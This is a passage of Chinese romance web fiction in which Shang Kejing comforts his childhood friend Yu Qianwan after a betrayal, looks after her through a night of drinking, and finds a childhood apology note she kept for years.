哭了太久, 虞千绾耳朵都有些发嗡, 脚步声都要行至面前她才隐约听到,还不待她抬起头循声看去, 发顶就被一只温暖的大手覆上, 很轻很缓地在她发心揉了揉,“回家了, 虞千绾。” 虞千绾的泪其实快要止住了,就是时不时还会挤出几滴, 但感受到头顶的温暖, 听到熟悉的声音,她的嘴唇又在瞬间瘪起,哭到发干的眼睛也一同噙上湿热,与不久前发现他接通她电话时的状态一样。 真奇怪, 伤心的时候都不会流这么多的泪, 为什么却在感知到关怀和宽慰的时候哭得一发不可收拾呢。 抬起头前,虞千绾用手背迅速在眼前抹了把,但却没什么用, 因为她的手早被眼泪浸湿,没一处是干的。而且,真掀眸看到商恪景的那刻, 情绪直接攀至顶峰,一滴浑圆的泪珠就这么毫无积蓄之意的从她眼眶里“啪嗒”坠下。 虞千绾不想被人看到自己的狼狈,和商恪景通完电话后就直接从就近的酒店后门跑了出来,边哭边往前直至这处看起来鲜有人至的荒废球场才停下,默默抱膝蜷缩在灯光照不到的昏暗角落里。 那会儿的她并不想被光亮刺着,她只想躲起来,逃避会儿现实。 但以最快时间赶过来的商恪景就这么半俯着身立在她面前,立在光亮下,他们的鞋头之间有着一道明显的明暗分界线。 然后,她看着商恪景蹲下身,微倾的上半身融入与她一样的昏暗中。 温热干燥的拇指指腹覆到她湿的仿佛能摁出水的眼尾,与她那汪湿亮热切的圆碌碌大眼睛交视,少见她如此看着自己,商恪景有些招架不住这份炽热,没几秒就率先别开了视线,口是心非的声音越说越轻,“虞千绾,你哭得好丑,妆都花了……” 想象中的回怼没有发生,指尖反倒感受到了更甚的湿意。 商恪景一时间有些手足无措,打小相识的他们嘴硬互呛惯了,有些话不太过脑子就那么顺口出去了。别人频频称赞的荣光和被别人瞧见会尴尬的窘态他们平常对待,习惯用行动而非话语表达关切,在对方面前丑态毕露都没那么不自在,却极不擅长面对对方的脆弱与眼泪。 还当是自己刚刚那句话说得她更加伤心,商恪景有些别扭的动了动唇,但没发出声来,刚欲忍下莫名的羞耻感直白夸她漂亮,身前身影一晃,虞千绾突然倾身拥了上来,直接将商恪景抱了个满怀。 毫不设防的动作,商恪景身形被撞得也是往后不自觉一仰,但很快就回过身稳住了身形,眼睛睁到最大。 从未有过的亲昵,商恪景呼吸都屏住了,属于她的那抹馨香却还在死命往他鼻腔里钻,商恪景浑身都感到一阵酥麻,手脚彻底的僵住了。 “……对不起。” 可怜的破碎音节自他耳畔哽咽着往心口渡,“对不起商恪景……” “我那天不该那么跟你说话,还害得你哭,我就该一早放弃常桦的。” “你跟我、跟我……”虞千绾边哭边说话,断句完全没法自控,哪口气喘不上来就断在那,缓到能说出话的时候再继续,“跟我和好行吗?” “我真的很珍惜你这个朋友,我想一直一直和你做好朋友。” “我保证,以后无论你说什么,我都会不仅相信你,还第一时间完全站在你这边,我们别再别扭了,好嘛?” 怀里是柔软的身躯,肩膀是她不断落下洇湿了衣料深入的热泪,可这么关切承诺的话落到心里怎么就那么让他难受呢…… 朋友,好朋友。 依旧只是朋友。 即使现在的她不知什么缘故看清了常桦决意放弃,他依旧不在她对异性的考量中。 心冷着,肢体反倒恢复了些控制力,没再那么僵持。 喉头艰难上下滚动几下,很寻常的抬手动作,商恪景却做得那样笨拙。 缓缓地、一下两下,他的掌心自虞千绾颈后抚到她背后,试图为她捋平些哭不成调的声,涩哑的声应:“……好。”- 虞千绾不是个喜欢喝酒的人,也不知道自己的酒量在哪,因为她从没有过喝醉的滋味,和朋友聚会时顶多也就喝些看起来漂亮且绝对不会醉的低度酒饮。 但今天,她突然很想大醉一场,想试试所谓的成年人消解烦恼的法子。 商恪景便说买些酒带回家喝,可虞千绾觉得家里太安静没有酒吧的热闹氛围,他看着她虽然止了泪但依旧红通通的眼眶说不出拒绝的话,于是跟司机报了个离小区最近的酒吧地址,这样方便她在喝完酒最昏沉的时候以最快速度回到家躺上床入睡。 九月底的夜晚已有些冷风,虞千绾一身礼服下车定然会冷,商恪景车上有放置他的备用衣物,日常的那些外套很不适合穿在她这样一身漂亮的礼服外,因而,商恪景拿了件西装外套递给她。 虞千绾接过,但想着去到酒吧里就会暖和些,穿上脱下的麻烦,索性没穿,只是披在了身上抵御风寒。 但正值降温天,虽然才过一会儿的功夫,外头气温却降了不少,加之从温暖的车内出来,感受到的温差更大。 虞千绾穿的礼服下摆在膝盖下一小截的位置,小腿肌肤基本都没有布料遮挡,处于裸露的状态,右腿从车内迈出的那一秒,感觉到冷意的她就轻嘶了声。 刚要从另侧车门下车的商恪景听到这动静扭头抓住她小臂,拽回她不假思索仍要迎风而出的身体,操心道:“你把外套穿上再出去,不然灌风,上下都冷。” “没事,就一截路而已,冷也冷不了多久。” 虞千绾撤回手扭头又想冲出去,奈何手腕又被商恪景攥住,他无奈至极地望着她,就跟家长在看叛逆的孩子一样,“不许动。” “叛逆的孩子”虞千绾莫名地眨了眨眼。 商恪景迅速从自己这边下了车,自车尾绕到她那边,颀长身形一挡,基本隔绝了大半车外袭来的风,再度叮嘱:“穿上。” 她刚刚已经在外面哭了很久了,还不知道明天会不会感冒,好不容易在车内暖回来,再遇冷怕是更容易感冒。 “嗯~” 虞千绾黛眉轻折,鼻息间漾出声微微抗拒的声音显得她有些娇气,“那样穿起来很丑。” 西服外套只适合披在身体外面,若是把手也给套进去严丝合缝穿着,美感大打折扣。 都开始想美丑的问题了,看起来是缓过来些了。 商恪景借着车内的光亮定睛看了她几秒,眼睛里头还是湿润润的,眼尾也红粉红粉的,瞧起来还是有股可怜劲。他俯下身,声音不自觉轻缓了些,帮她提起西服外套的右侧袖口,“好看,穿上,外面真的冷。” 虞千绾嘴上咕哝句:“哪里好看……商恪景你眼光真差。” 蜷缩的胳膊却在外套里摸索着,老实伸入袖管内。 商恪景被气笑了,心里腹诽这人没良心,他怕她冻着不舒服,她反倒说他眼光差,真是个没良心极了的直女,他的一切暧昧行为在她眼里似乎都不会被get到。 但看着虞千绾还有些湿润的眼睫毛,他又没法再按照原本的状态对她,回怼的话根本说不出口,就这么默默受着,“左手。” 虞千绾照做。 “扣子也扣上。” “我不要,那样更丑了。” 虞千绾又想下车,商恪景索性不靠着嘴上功夫解决问题,长腿往两侧微微一敞,完全挡住虞千绾下车的路径,而后上身俯得更低直接上手帮她系上西装扣。 虞千绾下意识想挡,但商恪景一米八八的个头,人高身宽的,衣袖也比她胳膊长了不少,她的手伸直时都没法从他的衣服袖口探出,前端空着的布料随着她的挥动软绵绵甩着,使得虞千绾的阻挡动作不仅没任何用处,还有些好笑。 而且,看着喜欢人穿着自己的衣服,商恪景心情格外好,笑出了声。 虞千绾完全没觉察到第二种情绪,只当是戏谑,当下有种羞恼的情绪,可这种情绪转瞬就没,她看着商恪景的笑容只觉得真好。 他们这么久的友情并没有走散,他们的关系又回归往昔了,她没因为不值当的人弄丢真正在意她的挚友。 帮虞千绾扣好扣子后,商恪景眼里有活的顺手拿过她的包,“走吧。” 再度进到冷风中的那个瞬间,虞千绾依旧被冷到不自控地发出声嘶,可看着身边的商恪景当即上前半步给她挡住自前面吹来的大股风流,分不清是身还是心,总归是没那么冷了。 的确并不是很远的一截路,但在听到喜欢多年人的诋毁胡诌后正处于心凉的阶段感知到这样的关照,虞千绾感受到了极大的暖意,就好像有一只无形的大手在无声但有力地抚平她的创伤沟壑。 靠近酒吧,里头动感的音乐声逐渐增大地往耳朵里钻。 忽然,商恪景衣摆被人从后轻攥住,一道在嘈杂音乐声里并不太算清晰的声朦胧传入耳,“商恪景。” 商恪景脚步微顿,侧首看她,“嗯?” “你真好。” 又是那样一双热忱的、认真的眼睛。极其漂亮,极其让人心动。 商恪景却了然的在心里补充整个句子——商恪景,作为朋友,你真好。 笑容微微有些寡淡的,他匆匆回应了虞千绾就转回头,衣摆的那点扯拽感也随之散去,只余风的吹摆- 虞千绾想要酒吧热闹的歌声或人声打乱她的脑袋,反正无论什么声音都好,只要不是静悄悄的家中,那样她怕是会陷在情绪里很久很久。 宽敞的包间对于他们俩来说还是太大了,而且安静,不是虞千绾想要的,他们便只开了个卡座。 酒水之前,商恪景先给虞千绾点了些热食让她吃点垫垫,防止直接喝酒不舒服。 虞千绾在宴会上跟褚曼青聊天的时候吃了些零碎的东西,胃又是情绪器官,心情不佳时吃不了太多,她只吃了几口就没再吃。 她跟着现场的氛围举起双手欢叫,跟着场上的乐队一起唱歌,看起来非常正常且开心的状态,商恪景的眉宇却因此一点点加深。 那种笑容不达眼底的强颜欢笑,看得他心口说不出的闷堵,比起见她这样,他反倒想见她那会儿那副哭得泣不成声的样,起码释放了而非憋着。 喝醉的滋味很不好受,也伤身,而且治标不治本,压根消解不了什么烦恼,只是喝醉后睡得昏天暗地不省人事罢了,醒后该难受的还是难受,商恪景并不太想虞千绾体验这种滋味。 听她说,她在宴会现场遇到褚曼青,两人那会儿聊了很多话喝了不少水,他便在给她下单酒饮的时候选了些相对来说量大且酒精度不高的调饮,想着她喝不下或许也就不逼着自己非要去体会那种并不舒服的醉酒感了。比之喝醉,微醺更适合她,那种状态下也更适合纡解心绪。 但商恪景还是高估了虞千绾的酒量,她醉得很快,就稍微有那么点酒精的酒饮她都遭不住,逐渐迷离的眼神褪去了强装的喜悦,被感伤取代。 虞千绾没吭声,就托着腮,默默看着台上的舞蹈表演。 商恪景就一直看着她。 一行泪就这么眼睁睁地、猝不及防地从她漂亮的眼尾滑下,商恪景喉间一紧,薄唇抿了又抿到底还是没忍住倾身,抬指为她擦去了那行泪,“今天到底发生什么了?” 虞千绾回正些面颊,视线与商恪景交视,委屈难过不解……种种复杂情绪在沉默的对视中滋生。 鼻子很轻地翕动了下,虞千绾眼眶又有些湿润,但只是身体本能控制不住的反应,声音还算自然并没什么哭腔,“常桦也去参加宴会了,周映灵邀请的。” “嗯,然后呢?” 商恪景认真听着,又抽过几张纸放到她手中。 “周映灵不喜欢常桦,只是之前在网上看到我跟他的消息所以弄了个局让我偷听她和常桦的对话,让我知道自己在这段关系里多么的愚昧。可能她是想看戏吧,想看我狼狈的样子……” 深呼口气,虞千绾撑在脸侧的手指微动,迅速抹去一行又掉下的眼泪,“但感谢她,让我完全死心,完全认清常桦这个人有多糟糕。” 虞千绾忽而偏了偏头,将右手伸出,朝着商恪景笑着掉眼泪,“你知道嘛,我今天扇了他一巴掌,就这只手。” 商恪景看着她的笑只能感觉到极致的苦涩,苦到心脏都似被压着喘不上气。 他握住虞千绾手腕,另手又抽过几张纸,为她逐根手指擦拭着其上沾染的湿泪,“那你很棒。” 听着虞千绾闷不住开始加重的哭喘,商恪景心疼的眉头紧锁,“……打轻了。” 他声音很轻,覆在舞曲之中,也不知道虞千绾有没有听到。 擦干净她的手,松开掀眸再同她交视时,商恪景学着她的样子也微微偏了偏头,扯出抹笑,“你就应该早点给我打电话,我直接去给他打倒在地。” 虞千绾齿尖咬着下唇,努力想在外面抑住眼泪不被人觉察,可眼泪不受控。 她转而拿起杯酒,高仰着脖颈,将剩下的半杯一饮而尽。 放下杯子的那一瞬间,杯底重重砸在台面上,“砰”的一声响。 “我是不是好傻?” 理智再支撑不住,虞千绾声音掺上哭腔,双手摁在杯子两侧,满是泪痕的小脸狠狠低垂下去,“我居然信他跟我说,事业有成绩以后再在一起的胡话。没流量没狗仔盯着的时候都不跟我谈恋爱,有流量了怎么可能和我在一起?他只是觉得我有利可图可又真的不喜欢我无法跟我在一起,所以单纯吊着我而已。” “我却傻傻的一直以为,我们虽然没有正式的男女朋友的名义,但实际上,互相表达的心意我们就是!结果他——” 虞千绾哽咽到一度发不出声,就连面下的台面都被持续掉落的眼泪打湿一片,“我甚至不知道我跟他的这段关系算什么,因为我们压根没有在真正一起过。他跟周映灵说,他跟我什么关系都没有,也没有喜欢过我,一切都怪我用家里的权势逼迫他,他不得不这么而为。” “虽然我知道这些话是假的,可我还是好难受。” 虞千绾眼前被泪水模糊到掀眸已经看不清商恪景的神情,只能看到他身躯大致的轮廓,自然也看不到他眼里因为疼惜被逼出的潮湿,“他——他拿诋毁我的话,去讨好别人。我心疼自己这么多年的喜欢,就好像一文不值。” 台上的音乐停止,酒吧突然安静下来,虞千绾下意识别过脸捂住嘴唇,怕自己的哭声传出去吸引到别人的目光。 MC的声通过麦克风传遍酒吧每个角落,“现场有位匿名观众加价插队点歌,让我们一起享受这首充斥着金钱味道的歌!” 是一曲非常劲爆高昂的歌,算不得多好听,但高音很多,音调很高,使得在场人说话都得靠喊,否则根本听不清对方在说什么,整个酒吧内仿佛只有这首曲的存在。 身侧的软座微微塌陷,一道轻缓但郑重的声掺杂在音乐中让虞千绾的世界里进入了第二道声音,“虞千绾,你的喜欢非常、非常珍贵。” 虞千绾扭过头,商恪景为她擦了擦眼泪,她的视线终于得见清晰。 她反应几秒,重重点了点头,突然破涕为笑,“我知道。” 商恪景唇角勾出很浅的一道弧度,却作势听不到倾耳向她靠得更近,“什么?” “我说没错!” 虞千绾眼睛都亮了些,单手拢在唇前,对着商恪景耳边扯着嗓子大喊,是发泄也是重塑的自信,“我的喜欢就是非常珍贵,他不要拉倒,他就是个屁!!” 她的眼眶依旧是湿的,但这次的笑里多了几分真的松愉。 虞千绾冲着商恪景微仰着脸,一双眼弯弯笑着,脑袋忽然被商恪景的手掌住,他猛地将她的脑袋按了下来,额头直接隔着薄薄衣料抵在了他胸膛,甚至可以感觉到他呼吸的起伏。 虞千绾身形跟着也不自控往他的方向跌了跌,刚要困惑抬头,她的面阔突然感觉到商恪景垂下挨近的短发,微微有些刺挠,也有些痒。他的唇离她耳畔很近,近到他的呼吸温热扑撒在她的耳廓,他那轻微发颤的声也一同传入她耳中—— “千绾。” “这里很吵,没人听得到你的声音。” “你可以不要忍,这首歌很长很长,不会有任何人发现。” 作者有话说:匿名的商先生[可怜][可怜] 第19章 第 19 章【作话有小剧场】 “…什…… 虞千绾原本是没哭的。 但又喝了些酒后理智彻底被酒精吞噬, 醉了个彻底。正值理性全无全是感性的阶段,好死不死,酒吧还放起了悲伤的抒情歌。 这一次,无需商恪景主动, 虞千绾就自觉将脑袋埋进让她感到温暖的胸膛里呜呜呜抽噎了起来, 双手紧紧揪着他腰际两侧的衣料, 后来许是一直维持这个姿势挺累, 她直接就将手环在了他腰后抱着, 脸也埋得更深。 商恪景边抚摸着她的脑袋顺着她的发安慰着边想,她真是醉了, 也是伤心透了, 但凡身心还有些清醒在,她都决计做不出这种亲密举动的。这种主动挨靠过来长时间抱腰哭泣的依赖姿态与在楼梯前闹完别扭后的重逢拥抱并不相同。起码, 他是这么认为,怀里的醉鬼显然没有这种认知。 商恪景一边有着这样明白的认知, 一边却又眷念于她的靠近, 矛盾的难受又希冀着。 哭着哭着,不知是累了困了还是醉迷糊了,总归当商恪景意识到怀里好一阵没传出动静的时候小心翼翼托起她潮湿的脸颊一看,人儿已经睡着了。 即使是睡着, 虞千绾的模样看起来都惹人怜极了。 鼻尖和眼尾都因为大哭过泛着红, 眼睫毛湿漉漉的,眉毛和嘴唇一皱一撇,脸颊也因为在他怀里埋着哭了太久闷出了些薄红, 每一处都透着失恋的难过。 醉了睡了也有一点好。 她老实了不少,不会在穿外套的时候嫌丑嫌他眼光差。 商恪景就这么把她的脑袋又挨回自己胸口靠着,动作轻柔地擎起她胳膊传入袖管里。 一方面是怕吵醒她, 另方面是想再在这样不知还会不会有的亲昵中久留一会儿、再一会儿…… 心思起了又起,根本压不住。 不知在脑海里回荡了多少个来回,商恪景到底是没闷住仗着她醉酒熟睡才敢出声:“……虞千绾,你得什么时候才能看到我?” 像是问询,又像是自身无奈至极的喟叹。 声调本就轻,在酒吧的热闹里更是被迅速淹没,淡到随风而散,好像没诉出过- 时至凌晨。 室外的风又冷峻了几分,让人有了秋的实感。 虞千绾那双光洁的小腿依旧暴露在空气中,流动的冷风一吹,睡梦中的身影不禁打了个寒颤,下意识往温暖处贴近、扒紧,嘴里含糊咕哝了句:“冷……” 商恪景不敢乱动生怕逾矩的手这才又用了些劲将她抱得再紧些,身子也尽可能地下压为她挡住些迎面袭来的风,步伐亦加快往车的方向去。 酒吧离校外小区很近,十分钟左右的车程。 虞千绾没在车后座安睡一会儿就又被抱起离开温暖的环境进到冷风中,接连两次,她昏沉的脑袋都被刺激地短暂清醒了一刹。 眼皮一睁,入眼已是熟悉的环境,人有些懵地嘀咕了句:“都到家了……” “嗯?就要到了。” 商恪景还挺意外她突然的声,低头的同时撑着她脑袋的大臂微微向上又托了些方便他看清她的脸,“醒神了?” 很显然,他想多了,某人脸一仰朝他嘿嘿一笑,极其莫名的傻气行为,打了商恪景一个措手不及。跟着头一歪,脸又朝着他的胸膛阖眼安睡了。 一个人到底怎么会可爱到这个程度,喝醉都这么讨人喜欢。 商恪景不知道,反正眉眼间因为她这忽然的憨笑一同染上笑意,喉间也没绷住漾出声低笑。 进到所住的那栋楼,室外的冷意瞬间被严实的墙抵挡住,虞千绾一直被冻着的小腿终于得以拯救。 电梯恰就停在一楼无需多等,商恪景曲指摁了下,电梯门开了又关,很快载着他们去到15层。 商恪景抱着虞千绾轻车熟路去到她家门口,却在输密码这步顿住,刚欲微抬的手迅速下落攥起。 第一次公主抱女生,商恪景没什么经验,手上有些笨拙。何况还是心仪的女生,动作更是小心小心再小心,慎之又慎。抱松了怕她稍一动就摔着她,抱紧了又怕勒着她,总怕她不舒服。而且她还穿着裙子,抱起来得多加注意,否则容易走光,他还得帮她压住裙摆,可又不能压太多裙料,不然太往上可能会误碰到不该碰的地方。 一个简单的动作,商恪景脑子里却想了很多。 所以抱着虞千绾的这一程,商恪景基本就维持着抱起她那瞬间的动作不再多动一下,手腕连着的在使劲的小臂大臂那块都要僵住,渐渐有些发酸。 饶是如此,他还是无比眷念当下的时光,并不想这么快就进到家里放下她。 她这么安静,这么亲昵的在他怀里。 恐是余生都不会再有一次。 而且,此时熟睡的她什么都不会看到,他也不用伪装什么,可以大胆地直视她,用一双明明白白表达着喜欢的眼神。 坚持到确实要没力,怕让虞千绾感到不舒服,商恪景这才开了门进到她家里。 两人虽然熟,但毕竟男女有别,卧室这种私密地方,他们还是很少进去的,尤其商恪景对虞千绾,大多时候就站在门口。时而就算进去也是对方提的,去帮忙拿个东西或做什么搭把手,很快也就出来。 可当下虞千绾喝醉了没办法,商恪景总不可能把她喊起来让她自己走进去,何况就算把她喊醒,她能不能走条直线都未可知。 商恪景目不斜视地抱着虞千绾进到卧室,打算把她放下盖好被子就离开。 哪知就在把虞千绾放在床上的那刻,她不知怎的,整个身子一惊突然睁开了眼。 不知她究竟是清醒还是醉酒状态下,商恪景一时间绷着弓着的身子也不敢动,想着以她刚刚的姿态很可能转头寻了个舒服姿势又继续睡了,他出声反倒吵着她。 但他还不能走——她身上还穿着他的西装外套,让她穿着礼服睡觉已经够不舒服了,要是连西装外套都不脱,这一夜睡得怕是难受至极。 两人视线就这么无声地一上一下对了半分钟。 虞千绾也不知在想什么,冷不丁伸手在商恪景脸上掐了下,不轻的一下,他始料未及地偏头躲开,痛嘶了声,暧昧氛围也瞬间消散,“虞千绾,我费劲给你弄回来,你就这么对我?” 圆润的眼睛眨了眨,虞千绾拽着被子安心躺在床上,开口的声还混着些醉酒的缥缈感,“我还以为我做梦呢。” 在今日之前,商恪景不止一次地听虞千绾跟他说过她做梦梦到常桦的事,她面上一副忸怩样,说的话做的梦可不忸怩,好些次梦到和常桦接吻。 虽然日后常桦这人可能就从他们的生活里消失了,但听过太多个日夜,商恪景一时间还没习惯虞千绾放弃常桦这事,下意识地就要说:“你做梦能梦到我?你从来都是——” 话到这,他想起来了。 紧急止住。 幸而虞千绾没反应过来,声音踩着他的尾音就出,“当然会梦到你,这两天跟你闹别扭就梦到你说要跟我绝交,以后都不跟我玩了。” 商恪景有些不想说话。 怎么梦到他就是绝交,梦到常桦就是接吻。 “还梦到我怎么找你和好你都不同意,送你的信你原封不动放回了我家玄关,给你发的短信你也总是不回,说好晚上回来吃晚饭的也没回,一直一直在躲着我……” 虞千绾声音越说越小,鼻头轻轻吸了吸,似有些委屈到要哭的意思。 商恪景都不知道虞千绾到底说的是梦、现实还是醉话,但那天虞千绾给他发消息说他回来跟她说一声她请他吃饭,他后续确实没回来。 自知理亏,商恪景同她解释,“没有故意躲着你。是薄正卿,他玩机车摔着了,住院了,他不敢跟他爸妈说,我在那陪着的。” “至于那条消息……我回嗯还故意加个句号是想让你多哄我几句的……因为看到你主动发消息过来我还是挺开心的。” 主动向她剖析自己的情绪,商恪景还有些别扭,现在和好去说那些感觉有些矫情,“哪知道你就回了个表情包,也不多哄我……” “我看你还在账号上按时发常桦的宣传视频,就以为你还放不下他,想着这么回来跟你去吃饭也没什么意思,根本问题还是没解决,聊到还是容易起冲突。正好当时薄正卿情况严重了起来,有些轻微脑震荡,我就留在医院住了一晚。” “嗯?账号?” 虞千绾就像是听到什么天大的敏感词,本来都裹好被子躺平了,突然就要起来。 但她本来就没多清醒,这么一动,视线和脑袋都是一阵天旋地转,就连胃中都好像在翻涌,她突然就呕了下,商恪景紧急拉过来垃圾桶,但虞千绾没吐出来,难受的在那将手握拳死命往胸口锤着。 她越捶越重,商恪景紧急攥住她的手,把她重新按回床上躺好,“别乱动,我去给你弄杯蜂蜜水喝,有什么都等我回来。” 跟喝醉的人沟通实在困难,就算虞千绾应了,商恪景都不知道她是真听进去了还是喝醉酒在胡乱哼唧。 他只得在踏出卧室前一步三回头看她状态,嘴上反复叮嘱,出门时将卧室门敞到最大以便有任何动静能第一时间落到他耳中,踏出卧室后小跑着以最快速度兑好蜂蜜水回来喂给虞千绾喝。 虞千绾人生第一次喝醉,全然陌生的体验让她觉得自己难受极了,头一动就犯晕,就连被商恪景托起后脑勺喂水的时候都缓了几秒。 肚子里酒水太多,虞千绾其实是喝不太下去水的,但含了小半口蜂蜜水后突然觉得嗓子很舒服,冰凉的胃里也暖暖的,便又浅浅地抿了几口,脑袋嗡嗡的胀痛感好像确实被驱散了些。 商恪景见她闭着眼又想睡的模样,赶忙将水杯放在床头柜上,转而帮她解着西装扣,趁她还没完全睡着的时候让她配合着侧起些身迅速脱掉了外套。 给虞千绾盖好被子后,商恪景又将蜂蜜水往床头柜的另边放了放,防止离太近她翻身时一个不注意挥上去弄洒。 “睡吧,要是难受记得给我发消息,我就先回去了。” 虞千绾嘴唇微动,轻的像呓语般说了什么,商恪景没听清,“什么?” 他凑上耳朵细听,只闻她说:“手机……” 商恪景这才想起她的包还一直被自己挂在身上,抱她的时候怕硌着她,所以包没挂在前面,而是贴在他背后,里头就一个手机和口红,重量太轻,他忙起来都忘了这茬。 脱下包包,拉开拉链拿出手机,商恪景还点亮手机屏幕查看了眼电量,还有百分之七十多,够用。 他这才安心将手机放在床头,“手机也给你放这了,不舒服就给我打电话。” “嗯~” 虞千绾又哼出声抗拒的声,商恪景拿她没辙的笑了声,但又很难不被她醉酒后的黏糊腔调勾到,心口软软化化的,就连他的腔调也被感染到仿佛微微有些波浪号,“怎么了?” “账号,删掉……” 虞千绾眼睛睁开也有些发晕,短暂看了商恪景一瞬又合上,“我这几天都没用短视频APP,忘记之前自动定时的那些视频了,你帮我全都删掉吧,我不想再有人因为我喜欢上他,那真是又多祸害了一个人……” “你确定?” “嗯……” 虞千绾直接把手机密码告诉了商恪景,脑子里还有意识的最后一件事处理完,她彻底没了劲,“头好晕,我睡了。” 虞千绾确定放弃后的果决比商恪景想象的还要甚,他自然高兴于她的举措,可真点入短视频APP,看着一串99+的未读评论和点赞,以及她花了许多时间剪辑的视频养成的号,他心情一时间又有些复杂。 每一条视频都代表了一个时期的她。 商恪景看着视频,脑海里甚至都能对应上她剪辑时的碎碎念,或是剪辑完后的炫耀,总归都是笑脸。 商恪景最终却还是没直接摁下删除键,而是选择了隐藏。 酒后的话,他不知她是否说的时候清醒着,不知她明天起来会不会后悔。 如果不后悔自然最好,她大可以自己亲自删除,也亲自宣告了一段关系的结束。 如若后悔……也都随她。 毕竟是她的产物,一切选择都该由她。 这一天,商恪景其实想象过很多次。 他也知道虞千绾作为付出更多用情更深的那一方肯定会难受,但真亲眼看着她难受成这样,商恪景心绪也远比想象的更沉。 灭了灯,轻手轻脚关了门回到自己家。 率先映入眼帘的却是一个放置在玄关柜上的包装精美的礼物盒。 商恪景一怔,连门都没来及关就去拆。 里头安静放置着一封信,他这才知虞千绾那话不是醉话,她是真的给他写了信。 心脏又开始鼓噪。 商恪景极其精细地拆开信封,生怕弄皱一点。 但比里面的信先露出的是一张褶皱得不成样,且明显因为过去太多年有了岁月痕迹变黄的小纸片。 上头的字迹也颇为稚嫩。 ——【我,商恪景,正式向虞千绾道歉,并欠她一个要求,她可以在任何想用的时候在反面写任何要求,就算被我哥打我也会去做! 期限:1000万万年!】 八岁那年的虞千绾留着可爱的齐刘海,刘海微微长长有些遮眼,商恪景拿起剪子就说帮她剪,他寻思就把长长的那一小截刘海剪了不就得了? 虞千绾起初是不同意的,但看商恪景说得一本正经,想想好像也是,就同意了。 最后不出意外,刘海被剪得像狗啃的一样。 虞千绾大哭一场,还在家门口划了条禁止全世界最讨厌的商恪景进入的线。 这对小朋友来说,可是一件非常非常严肃的事情,更何况还被好朋友称之为全世界最讨厌的人。 商恪景吓坏了,用所有零花钱给虞千绾买小礼物买零食,哄了好久虞千绾却还不想和他和好,他没招了,天天在家伤心地哇哇哭,最后他在哥哥的引导下想出一招,把自己的头发剪残了去找她,虞千绾才终于没绷住在他面前露出笑,虽然是被丑得滑稽笑的,但总归是笑了。 商恪景赶忙央着求和,这张小纸条便在幼稚的年岁交谈间出现了。 这么多年过去,商恪景虽能清楚记得那件事,两方家长亦时不时以此为笑谈,但对这张纸条的记忆已有些模糊。 这张纸条还是彼时急于向虞千绾表态的商恪景顺手从某个书页的边缘撕下来的,小小的、不太规则的一张,他怎么都没想到虞千绾会留了这么多年。 而今,她在纸条的背面写——【虞千绾和商恪景不可以再闹矛盾】 后头还跟了个哭哭脸的简笔画。 “好幼稚啊虞千绾。” 商恪景对着纸条低喃,语调却分外上扬欢快。刚还有些复杂矛盾的脸上现在全是笑。 上一秒蛐蛐过虞千绾幼稚的商恪景,下一秒很不幼稚地跟拿宝贝似的拿着这张纸条在家里到处比对,思考放在哪里珍藏比较好。 作者有话说:————————【幼年期小剧场】———————— 本以为剪刘海很简单的小恪景寻思so easy啊! 一手作势打了个响指,另手拿着小孩玩的钝钝的小剪刀就对着小千绾的漂亮刘海发起攻势。 一剪刀下去,嗯……毫无变化。 他想这个剪刀真是太钝了,可他们年纪小,家里人不给玩锋利的剪刀,只许用这个,所以只能慢慢磨。 细心磨了好几次,依旧觉得刘海好像没什么变化,小恪景就稍微多剪了那么一丢丢一次!头发就变得突然和刚刚不一样了。 小恪景瞳孔地震,登时紧张起来。 看到自己很多碎发掉下来的小千绾有些慌乱,想要看看镜子。小恪景试图阻止再修剪漂亮一点但阻止不住。 小千绾站在镜子前看到自己的那一秒愣住,随之“哇——”地爆哭出来。 爸妈得知的第一时间就赶忙让造型师上门来给小千绾重新修剪头发,造型师的手艺很好,就是刘海肯定没法留了,那些被剪坏的头发短时间内养不起来也得用小卡子。但是造型师和姐姐妈妈爸爸都给了小千绾很多很多漂亮的小卡子,小千绾终于被哄好些。 其实,小千绾也有点想念好朋友小恪景。 日日在一起玩的朋友突然不一起还挺别扭,但她又不想那么快就原谅,毕竟他真的把她的头发弄得很丑!!! 直到那天,小千绾看着小恪景顶着一头那么丑的头发过来,没忍住笑出了声。 小恪景还怕小千绾不消气,把剪刀塞到她手里,说为了公平起见,她也可以剪他的头发,剪成光头都行!还不高兴的话,等他头发长长,他再来给她剪。 当然啦,小千绾没有剪。 因为他们是最最最好的朋友~ 而且,他的头发已经够丑啦。 第20章 第 20 章 我喜欢的人,人好面好心…… 有生以来第一次喝醉, 加之睡前哭了那么久,身心俱疲,虞千绾一觉直接睡了十个小时出头。 幸而昨晚喝的酒度数都不高,她醒后并没感觉到太多宿醉后的不适, 就是脑袋有种淡淡的迷糊闷胀感, 但一时间分不清究竟是睡太久还是醉酒所致。 除此外, 虞千绾还有些断片, 但又没完全断片, 记忆碎片化,朦朦胧胧对某些场景有记忆, 就像是一页跟着一页弹出的PPT, 有些弹出的新一页与上一页有关联,有些却是直接开启了新章。 但最糟糕最直观的还是虞千绾的眼睛。 前两天乍然从商恪景那得知常桦的事后又和商恪景闹别扭, 爱情友情双受挫,她本就默默流了不少眼泪, 使得眼睛又涩又疼的有些敏感脆弱, 结果昨晚和凌晨的那一番爆哭彻底让她的眼皮肿到了前所未有过的程度,眼睛内也有着一阵一阵的刺痛感。 虞千绾下意识地就想去揉,起初没意识到事情严重性的她力度丁点没收,结果给自己疼得龇牙咧嘴。后来倒是长记性了, 奈何轻碰也不行, 一碰就疼。 她只能要碰不碰地虚虚将手掩在眼前,另手摸过手机,哭丧着脸眯着眼睛给商恪景发消息求救。 [SOS] [醒了嘛醒了嘛] [能不能用毛巾包点冰块来拯救我啊] 商恪景那边秒回:[醒了] [怎么?] [要冰块做什么?] 仅是看到对话框的左边迅速弹出新的消息, 虞千绾还没看清具体内容,唇角就已经漾开些柔柔的笑了。 这样真好,再不是前些天联系不上他, 就算联系上也只是寥寥几句的僵持状态了。 [眼睛肿了,肿好大,急需冰敷缓解一下] 商恪景:[我这边有冰袋,现在给你送去] 虞千绾直接回了个跪下感恩的表情包就顺手将手机灭了屏放在一旁。 屋内一片漆黑,刚睡醒的眼睛本就不适应手机刺出的光亮,何况她这眼睛还正在虚弱期,连稍微睁大些都嫌疼。 她就闭着眼,躺在床上等着商恪景。 屏蔽了视觉,听觉就变得格外灵敏。 虞千绾竖着耳朵仔细听着商恪景摁密码开门,关门,快步朝她卧室走近的动静。 只是这么听着,她就感觉周身舒展,心口暖洋洋的,一种日复一日年复一年的习惯性的安稳感。 “咚咚咚。” 商恪景先叩了叩门再按下门把手推开门。 